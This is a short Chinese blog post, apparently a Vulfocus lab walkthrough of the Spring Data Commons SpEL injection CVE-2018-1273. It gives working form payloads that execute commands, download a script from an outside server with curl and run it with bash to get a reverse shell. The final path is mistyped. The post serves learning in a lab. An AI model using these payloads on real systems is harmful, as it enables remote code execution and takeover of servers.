Vulfocus靶场 | spring 代码执行 (CVE-2018-1273)
漏洞描述
Spring Data是一个用于简化数据库访问,并支持云服务的开源框架,Spring Data Commons是Spring Data下所有子项目共享的基础框架。Spring Data Commons 在2.0.5及以前版本中,存在一处SpEL表达式注入漏洞,攻击者可以注入恶意SpEL表达式以执行任意命令。
漏洞复现
访问 /user
随便填写,用户注册
把最后一行改成payload:
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("命令代码")]=&password=&repeatedPassword=
想直接ls发现不行
想反弹Shell也不行
把shell脚本写成sh文件,开启一个http服务,让它去下载执行
然后执行
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("curl -o /tmp/xwl.sh http://vpsip:port/xwl.sh")]=&password=&repeatedPassword=
一开始试了weget,确实下载了,但是不知道怎么不行,所以用了curl
下载成功后
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("bash /tmp/xwl/sh")]=&password=&repeatedPassword=
之前weget的也确实下载上了,但是没反弹回来(可能操作有误)
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· 阿里巴巴 QwQ-32B真的超越了 DeepSeek R-1吗?
· 【译】Visual Studio 中新的强大生产力特性
· 【设计模式】告别冗长if-else语句:使用策略模式优化代码结构
· 10年+ .NET Coder 心语 ── 封装的思维:从隐藏、稳定开始理解其本质意义